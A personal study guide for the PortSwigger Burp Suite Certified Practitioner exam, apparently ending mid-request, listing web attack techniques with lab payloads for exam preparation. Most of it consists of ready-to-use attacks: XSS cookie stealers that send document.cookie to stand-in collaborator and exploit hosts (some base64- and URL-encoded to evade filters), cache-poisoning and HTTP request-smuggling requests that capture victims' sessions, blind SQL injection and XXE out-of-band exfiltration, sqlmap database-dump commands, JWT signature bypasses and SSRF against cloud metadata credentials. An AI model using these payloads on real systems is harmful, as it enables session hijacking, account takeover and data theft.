My study notes on the PortSwigger Academy Burp Suite Certified Practitioner (BSCP) Exam topics. The below BSCP notes may require going to PortSwigger Academy labs to understand my thinking in changing payloads to get require results needed to progress to next stage in exam.
Foothold
Dom-XSS
Cross Site Scripting
Web Cache Poison
Host Header Poison
HTTP Request Smuggling
Brute force
Privilege Escalation
JSON roleid PrivEsc
CSRF Change email or Password
SQLi Admin Credential Exfil
JSON Web Tokens
Data Exfiltration
XML entities & Injections
SSRF Server side request forgery
SSTI Server side template injection
Prototype pollution
Cross Site Request Forgery
File path traversal
File Uploads
Appendix
Solve Labs with Python
Payloads
Focus target scanning
Approach
Youtube Study Playlist
DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. Review the code to identify the source and sinks that may lead to exploit, list of examples:
- document.write
- window.location
- document.cookie
- eval()
- document.domain
- WebSocket
- element.src
- postmessage
- setRequestHeader
- JSON.parse
- ng-app
- URLSearchParams
- replace()
- innerHTML
- location.search
- addEventListener
AngularJS expression below can be injected into the search function when angle brackets and double quotes HTML-encoded. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive. Review the HTML code to identify ng-app directive telling AngularJS that this is the root element of the AngularJS application.
PortSwigger lab payload below:
{{$on.constructor('alert(1)')()}}
Cookie stealer payload that can be placed in iframe, hosted on an exploit server, resulting in the victim session cookie being send to Burp Cllaborator.
{{$on.constructor('document.location="https://COLLABORATOR.com?c="+document.cookie')()}}
Note: the cookie property must to have HttpOnly secure flag set.
PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
Below the target is vulnerable to dom-xss in the stock check function. Document.write is the sink used with location.search allowing us to add new value to Javascript variable storeId.
/product?productId=1&storeId="></select><img%20src=1%20onerror=alert(document.cookie)>
Dom-based XSS request with inserted malicious code into the variable read by the target JavaScript.
PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element
Using Dom Invader plugin and set the canary to value, such as 'domxss' and detect DOM-XSS sinks that can be exploit.
Target use web messaging and parses the message as JSON. Exploiting the vulnerability by constructing an HTML page on the exploit server that exploits DOM XSS vulnerability and steal victim cookie.
The vulnerable JavaScript code on the target using event listener that listens for a web message. This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.
Identify web messages on target that is using postmessage() with DOM Invader.
<script>
window.addEventListener('message', function(e) {
var img = document.createElement('img'), ACMEplayer = {element: img}, d;
document.body.appendChild(img);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
case "redirect":
window.location.replace(d.redirectUrl);
break;
}
}, false);
</script>
To exploit the above code, inject JavaScript into the JSON data to change "load-channel" field data and steal document cookie.
Host an iframe on the exploit server html body, and send it to the victim, resulting in the stealing of their cookie. The victim cookie is sned to the Burp collaboration server.
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
"type": "load-channel",
"url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>
At the end of the iframe onload values is a "*", this is to indicate the target is any.
PortSwigger Lab: DOM XSS using web messages and JSON.parse
Replay the post message using DOM Invader after altering the JSON data.
{
"type": "load-channel",
"url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}
PortSwigger: Identify DOM XSS using PortSwigger DOM Invader
XSS Resources pages to lookup payloads for tags and events.
CSP Evaluator tool to check if content security policy is in place to mitigate XSS attacks.
Set a test unsecure cookie in browser dev tools to do POC XSS cookie stealer.
document.cookie = "TopSecret=UnSafeCookieSessionValueForTopSecretCookie";
This section give guide to identify reflected XSS in a search function on a target and how to determine the HTML tags and events attributes not blocked.
The tag Body and event onresize is the only allowed, providing an injection to perform XSS.
?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
Again the Body and event onpopstate is not blocked.
?search=%22%3E%3Cbody%20onpopstate=print()>
PortSwigger Cheat-sheet XSS Example: onpopstate event
Below JavaScript is hosted on exploit server and then deliver to victim. It is an iframe doing onload and the search parameter is vulnerable to onpopstate.
<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>
Below iframe uses hash character at end of URL to trigger the OnHashChange XSS cookie stealer.
<iframe src="https://TARGET.net/#" onload="document.location='http://COLLABORATOR.com/?cookies='+document.cookie"></iframe>
Note if the cookie is secure with HttpOnly flag set enabled, the cookie cannot be stolen using XSS.
PortSwigger Lab payload perform print.
<iframe src="https://TARGET.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
Note: Identify in below lab the vulnerable jquery 1.8.2 version used with the CSS selector to identify hashchange.
PortSwigger Lab: DOM XSS in jQuery selector sink using a hashchange event
Crypto-Cat: DOM XSS in jQuery selector sink using a hashchange event
The below lab gives great Methodology to identify allowed HTML tags and events for crafting POC XSS.
PortSwigger Lab: Reflected XSS into HTML context with most tags and attributes blocked
Host iframe code on exploit server and deliver exploit link to victim.
<iframe src="https://TARGET.web.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E">
In the Search function a Reflected XSS vulnerability is identified. The attacker then deliver an exploit link to victim with cookie stealing payload in a hosted iframe on their exploit server.
Identify The search JavaScript code on the target, return a JSON response. Validate that the backslash \ escape is not sanitized, and the JSON data is then send to eval(). Backslash is not escaped correct and when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively canceled out.
\"-fetch('https://Collaborator.com?cs='+btoa(document.cookie))}//
Image show the request using search function to send the document.cookie value in base64 to collaboration server.
PortSwigger Lab: Reflected DOM XSS
WAF is preventing dangerous search filters and tags, then bypass XSS filters using JavaScript global variables.
"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"
secjuice: Bypass XSS filters using JavaScript global variables
fetch("https://Collaborator.oastify.com/?c=" + btoa(document['cookie']))
Base64 encode the payload.
ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk=
Test payload on our own session in Search.
"+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//
- Using the eval() method evaluates or executes an argument.
- Using atob() or btoa() is function used for encoding to and from base64 formated strings.
- If eval() being blocked then Alternatives:
- setTimeout("code")
- setInterval("code)
- setImmediate("code")
- Function("code")()
The image below shows Burp Collaborator receiving the victim cookie as a base64 result.
Hosting the IFRAME with eval() and fetch() payload on exploit server, respectively base64 encoded and URL encoded.
<iframe src="https://TARGET.web-security-academy.net/?SearchTerm=%22%2b%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%49%6d%68%30%64%48%42%7a%4f%69%38%76%4f%44%4d%35%59%32%74%30%64%54%64%31%62%32%64%6c%5a%47%30%32%59%54%46%72%61%6e%56%35%4d%32%39%31%64%47%78%36%59%32%34%79%59%6e%49%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%4d%39%49%69%41%72%49%47%4a%30%62%32%45%6f%5a%47%39%6a%64%57%31%6c%62%6e%52%62%4a%32%4e%76%62%32%74%70%5a%53%64%64%4b%53%6b%3d%22%29%29%7d%2f%2f"/>
Decode above payload from url encoding, is the following:
https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//
Decode part of payload above that is base64 encoded to the following:
https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("fetch("https://839cktu7uogedm6a1kjuy3outlzcn2br.oastify.com/?c=" + btoa(document['cookie']))"))}//
URL Decode and Encode
BASE64 Decode and Encode
Use following sample code to identify stored XSS, if stored input is redirecting victim that click or following the links to our exploit server.
<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>
Below is log of requests to exploit log server showing which of the above tags worked.
Cross site Scriting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs.
<img src="1" onerror="window.location='http://exploit.net/cookie='+document.cookie">
Product and Store lookup
?productId=1&storeId="></select><img src=x onerror=this.src='http://exploit.net/?'+document.cookie;>
Stored XSS Blog post
<script>
document.write('<img src="http://exploit.net?cookieStealer='+document.cookie+'" />');
</script>
Below target has a stored XSS vulnerability in the blog comments function. Exfiltrate a victim user session cookie that views comments after they are posted, and then use their cookie to do impersonation.
Fetch API JavaScript Cookie Stealer payload in Blog post comment.
<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
PortSwigger Lab: Exploiting cross-site scripting to steal cookies
Target use tracking.js JavaScript, and is vulnerable to X-Forwarded-Host header redirecting path, allowing the stealing of cookie by poisoning cache.
GET / HTTP/1.1
Host: TARGET.web-security-academy.net
X-Forwarded-Host: exploit-SERVER.exploit-server.net
Hosting on the exploit server, injecting the X-Forwarded-Host header in request, and poison the cache until victim hits poison cache.
/resources/js/tracking.js
document.location='https://collaboration.net/?cookies='+document.cookie;
Keep Poisoning the web cache of target by resending request with X-Forwarded-Host header.
PortSwigger Lab: Web cache poisoning with an unkeyed header
Youtube video showing above lab payload on exploit server modified to steal victim cookie when victim hits a cached entry on backend server. The payload is the above JavaScript.
YouTube: Web cache poisoning with unkeyed header - cookie stealer
Param Miner Extension to identify web cache vulnerabilities
Target is vulnerable to web cache poisoning because it excludes a certain parameter from the cache key. Param Miner's "Guess GET parameters" feature will identify the parameter as utm_content.
GET /?utm_content='/><script>document.location="https://Collaborator.com?c="+document.cookie</script>
Above payload is cached and the victim visiting target cookie send to Burp collaborator.
PortSwigger Lab: Web cache poisoning via an unkeyed query parameter
Identify that altered HOST headers are supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection or redirection attacks to do password reset poisoning.
Change the username parameter to carlos and send the request.
X-Forwarded-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Forwarded-Server: EXPLOIT-SERVER-ID.exploit-server.net
Check the exploit server log to obtain the reset link to the victim username.
PortSwigger Lab: Password reset poisoning via middleware
Target is vulnerable to routing-based SSRF via the Host header. Sending grouped request in sequence using single connection and setting the connection header to keep-alive, bypass host header validation and enable SSRF exploit of local server.
GET /intranet/service HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
Next request is the second tab in group sequence of requests.
POST /service/intranet HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=YOUR-CSRF-TOKEN&username=carlos
Observe that the second request has successfully accessed the admin panel.
PortSwigger Lab: Host validation bypass via connection state attack
Architecture with front-end and back-end server, and front-end or backend does not support chunked encoding (HEX) or content-length (Decimal). Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account.
Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in HEXADECIMAL, and Content-Length specifies the length of the message body in bytes. Chunks are followed by a newline, then followed by the chunk contents. The message is terminated with a chunk of size ZERO.
Note: In certain smuggle vulnerabilities, go to Repeater menu and ensure the "Update Content-Length" option is unchecked.
POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
71
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Note: include the trailing sequence \r\n\r\n following the final 0.
Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in HEXADECIMAL and the payload is between the hex length of 71 and the terminating ZERO, not including the ZERO AND not the preceding \r\n on line above ZERO, as part of length. The inital POST request content-length is manually set.
Trevor tjcim - Request Smuggling Calculator
Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to 798, then smuggle POST request to the back-end server.
POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c
No new line at end of the smuggled POST request above^^.
View the blog post to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account.
PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests
Identify the UserAgent value is stored in the GET request loading the blog comment form, and stored in User-Agent hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using User-Agent value that is then placed in a smuggled request.
Basic Cross Site Scripting Payload escaping out of HTML document.
"/><script>alert(1)</script>
COOKIE STEALER Payload.
a"/><script>document.location='http://Collaborator.com/?cookiestealer='+document.cookie;</script>
Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in User-Agent header.
POST / HTTP/1.1
Host: TARGET.websecurity.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
Check the PortSwigger Collaborator Request received from victim browsing target.
PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS
If Duplicate header names are allowed, and the vulnerability is detected as dualchunk, then add an additional header with name and value = Transfer-encoding: cow. Use obfuscation techniques with second TE.
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-encoding: identity
Transfer-encoding: cow
Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscation in some way.
On Repeater menu ensure that the "Update Content-Length" option is unchecked.
POST / HTTP/1.1
Host: TARGET.websecurity-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLAB.com/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n
Note: You need to include the trailing sequence \r\n\r\n following the final 0.
PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header
My opinion, this is rare scenario where users visiting site have their request stolen via HTTP Sync vulnerability in exam or live system exploited.
Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers. Exploitation is by use of an HTTP/2-exclusive request smuggling vector to steal a victims session cookie and gain access to user's account.
Identify possible vulnerability when Target reflect previous and recent search history based on cookie, by removing cookie it is noticed that your search history is reset, confirming that it's tied to your session cookie.
Expand the Inspector's Request Attributes section and change the protocol to HTTP/2, then append arbitrary header
foo
with valuebar
, follow with the sequence\r\n
, then followed by theTransfer-Encoding: chunked
, by pressing shift+ENTER.
Note: enable the Allow HTTP/2 ALPN override option and change the body of HTTP/2 request to below POST request.
0
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=HACKER-SESSION-COOKIE
Content-Length: 800
search=nutty
PortSwigger Lab: HTTP/2 request smuggling via CRLF injection
Youtube demo HTTP/2 request smuggling via CRLF injection
Target is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. Steal the session cookie, of the admin visiting the target. The burp request smuggling scanner will detect the HTTP/2 TE desync vulnerability.
Note: enable the Allow HTTP/2 ALPN override option.
POST /x HTTP/2
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net\r\n
\r\n
Note: Paths in both POST and GET requests points to a non-existent endpoint. This help to identify when not getting a 404 response, it is from victim user stolen request captured.
Note: Remember to terminate the smuggled request properly by including the sequence\r\n\r\n
after the Host header.
Copy stolen session cookie value into new http/2 GET request to the admin panel.
GET /admin HTTP/2
Host: 0abf00a503615fccc3301f8f008000fe.web-security-academy.net
Cookie: session=StolenAdminSessionCookieValue
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
PortSwigger Lab: Response queue poisoning via H2.TE request smuggling
Login option with a stay-logged-in checkbox result in Cookie value containing the password of the user logged in and is vulnerable to brute-forcing.
Intruder Payload processing, add grep option and the following rules in sequenctial order before attack is submitted.
- Hash: MD5
- Add prefix: carlos:
- Encode: Base64-encode.
grep 'Update email'
PortSwigger Lab: Brute-forcing a stay-logged-in cookie
Identified brute force protection on login when backend enforce 30 minute ban. Testing
X-Forwarded-For:
header result in bypass of brute force protection. Observing the response time with long invalid password, mean we can use Pitchfork technique to identify first valid usernames with random long password and then rerun intruder with Pitchfork, set each payload position attack iterates through all sets simultaneously.
Payload position 1 on IP address for
X-Forwarded-For:
and position 2 on username with a long password to see the response time delay in attack columns window.
PortSwigger Lab: Username enumeration via response timing
Access control to the admin interface is based on user roles, and this can lead to IDOR or accessc ontrol security vulnerability.
Capture current logged in user email submission request and send to Intruder, then add "roleid":§99§ into the JSON body of the request, and fuzz the possible roleid for administrator access role position.
POST /my-account/change-email HTTP/1.1
Host: 0a25007604813b07c2066cf20023004d.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close
{
"email":"[email protected]",
"roleid": 2
}
Attacker identify the possible role ID of administrator role and then send this request with updated roleId to privilege escalate the current logged in user to the access role of administator.
PortSwigger Lab: User role can be modified in user profile
If cookie with the isloggedin name is identified, then a refresh of admin password POST request could be exploited. Change username parameter to administrator while logged in as low priv user, CSRF where token is not tied to user session.
POST /refreshpassword HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-Host: exploit.exploit-server.net
X-Host: exploit.exploit-server.net
X-Forwarded-Server: exploit.exploit-server.net
Referer: https://TARGET.web-security-academy.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
csrf=TOKEN&username=administrator
PortSwigger Lab: Password reset broken logic
Target with no defenses against email change function, can allow the privilege escalation to admin role. In exam changing the email to the hacker email address on the exploit server can allow the change of password for the low priv user and can assist in privesc.
PortSwigger Lab: CSRF vulnerability with no defenses
Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information.
To identify SQLi, by adding a double (") or single quote (') to web parameters or tracking cookies can break the SQL syntax resulting in error message, and postive SQL injection identification.
SQL Injection cheat sheet examples
Target is vulnerable to Out of band data exfiltration using Blind SQL exploitation query. In this case the trackingID cookie. Below is combined SQL injection with basic XXE payloads.
TrackingId=cookievaluex'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration
Using SQLMAP to enumerate tracking cookie by provding -r REQUESTFILE to Load HTTP request from a file.
sqlmap -v -r sqli-blind.txt --batch --random-agent --level=5 --risk=3 -p "TrackingId"
PortSwigger Lab: SQL injection UNION attack, retrieving data from other tables
Sample SQLMAP commands to determine what SQL injection vulnerability exist and retrieving different types of information from backend database.
SQLMAP determine the vulnerability, and perform initial enumeration.
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3
SQLMAP determine the database DBMS.
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -dbs
SQLMAP determine Database, Tables, dump, data Exfiltration.
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -D public --tables
Dump content from table users in the public database.
sqlmap -v -u 'https://TARGET.web-security-academy.net/filter?category=*' -p "category" --batch --cookie="session=TheCookieValueCopied" --random-agent --dbms=PostgreSQL -D public -T users --dump --level=5 --risk=3
Use SQLMAP Technique parameter set type to error based instead of boolean-based blind vulnerability, and this speed up data exfil process.
sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p 'category' --batch --flush-session --dbms postgresql --technique E --level=5
SQL injection vulnerability exploited manually by first finding list of tables in the database.
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
Second retrieve the names of the columns in the users table.
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_qoixrv'--
Final step dump data from the username and passwords columns.
'+UNION+SELECT+username_wrrcyp,+password_zwjmpc+FROM+users_qoixrv--
PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases
JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control.
The burp scannner identify vulnerability in server as, JWT self-signed JWK header supported. Possible to exploit it through failed check of the provided key source.
- New RSA Key
- In request JWT payload, change the value of the sub claim to administrator
- Select Attack, then select Embedded JWK with newly generated RSA key
- A
jwk
parameter now contin our public key, sending request result in access to admin portal
PortSwigger Lab: JWT authentication bypass via jwk header injection
Brute force weak JWT signing key
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem. Generate a new Symmetric Key and replace k property with base64 null byte AA==, to be used when signing the JWT.
JWS
{
"kid": "../../../../../../../dev/null",
"alg": "HS256"
}
Payload
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}
PortSwigger Lab: JWT authentication bypass via kid header path traversal
File upload or user import function on web target use XML file format. This can be vulnerable to XML external entity (XXE) injection.
Possible to find XXE attack surface in requests that do not contain any XML.
To Identify XXE in not so obvious parameters or requests, require adding the below and URL encode the & symbol to see the response.
%26entity;
Webapp Check Stock feature use server-side XML document that is server side parsed inside XML document, and request is not constructed of the entire XML document, it is not possible to use a hosted DTD file. Injecting an XInclude statement to retrieve the contents of
/home/carlos/secret
file instead.
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>
PortSwigger Lab: Exploiting XInclude to retrieve files
On the exploit server host a exploit file with Document Type Definition (DTD) extension, containing the following payload.
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;
Modify the file upload XML body of the request before sending to the target server.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
<user>
<username>Carl Toyota</username>
<email>[email protected]</email>
</user>
</users>
PortSwigger Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
SQL injection with filter bypass via XML encoding may allow extract of sensitive data.
Identify injection point by using mathematical expression such as 7x7, and this indicate possible SQL injection or Template injections.
WAF detect attack when appending SQL query such as a UNION SELECT statement to the original store ID. Web application firewall (WAF) will block requests that contain obvious signs of a SQL injection attack.
<storeId>1 UNION SELECT NULL</storeId>
Bypass the WAF, Use Burp extension Hackvertor to obfuscate the SQL Injection payload in the XML post body.
Webapp return one column, thus need to concatenate the returned usernames and passwords columns from the users table.
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
SQLi Payloads to read local file, and or output to another folder on target.
<@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities>
<@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities>
PortSwigger Lab: SQL injection with filter bypass via XML encoding
URL replacing . with %2e
Double-encode the injection
/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
HTML encode one or more of the characters
<img src=x onerror="alert(1)">
XML encode for bypassing WAFs
<stockCheck>
<productId>
123
</productId>
<storeId>
999 SELECT * FROM information_schema.tables
</storeId>
</stockCheck>
Multiple encodings together
<a href="javascript:\u0061lert(1)">Click me</a>
SQL CHAR
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
Obfuscating attacks using encodings
SSRF attack cause the server to make a connection to internal services within the organization, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.
SSRF exploitation examples.
/product/nextProduct?currentProductId=6&path=http://evil-user.net
stockApi=http://localhost:6566/admin
http://127.1:6566/admin
Double URL encode characters in URL such as to Obfuscate the "a" by double-URL encoding it to
%2561
, resulting in the bypass of blacklist filter.
PortSwigger Lab: SSRF with blacklist-based input filter
Possible to provide an absolute URL in the GET request line and then supply different target for the HOST header.
GET https://YOUR-LAB-ID.web-security-academy.net/
Host: COLLABORATOR.DOMAIN
Use the Host header to target 192.168.0.141 or localhost, and notice the response give 302 status admin interface found. Append /admin to the absolute URL in the request line and send the request. Observe SSRF response.
PortSwigger Lab: SSRF via flawed request parsing
POST request to register data to the client application with redirect URL endpoint in JSON body. Provide a redirect_uris array containing an arbitrary whitelist of callback URIs. Observe the redirect_uri.
POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206
{
"redirect_uris":["https://example.com"],
"logo_uri" : "https://ct9vlhusb0to24fcrs5t3qsmpdv4jv7k.oastify.com",
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
PortSwigger Lab: SSRF via OpenID dynamic client registration
Exploiting XXE to perform SSRF attacks using stock check function that obtains sensitive data.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
PortSwigger Lab: Exploiting XXE to perform SSRF attacks
Routing-based SSRF via the Host header allow insecure access to a localhost intranet.
GET /service/intranet?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&readfile=/home/carlos/secret HTTP/1.1
Host: localhost
Note: Convert the GET request to POST.
POST / HTTP/1.1
Host: 5rxojasl9trh0xd5pl3m1jqfn6txhp5e.oastify.com
Cookie: _lab=46%7cMCwCFBucXjC6hvd9WC4%2fwP3%2fkmpxu8mhAhR%2f9lrAED4p89w%2bSBi%2fujGmrnwZhjZyG%2fmQebBgi4naIZO%2flg2daYidh0KoLFjVIEV1DKMwigDLRyL4BspAm4Kiz4iRmXJYyTpvojI18biLNQEbid7G4fT6SvZuUjONK2CLqa%2bc8VqLQcU%3d; session=GvdpmebBL2eNQZMJjJmSh4ZU8QrTDVDq
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
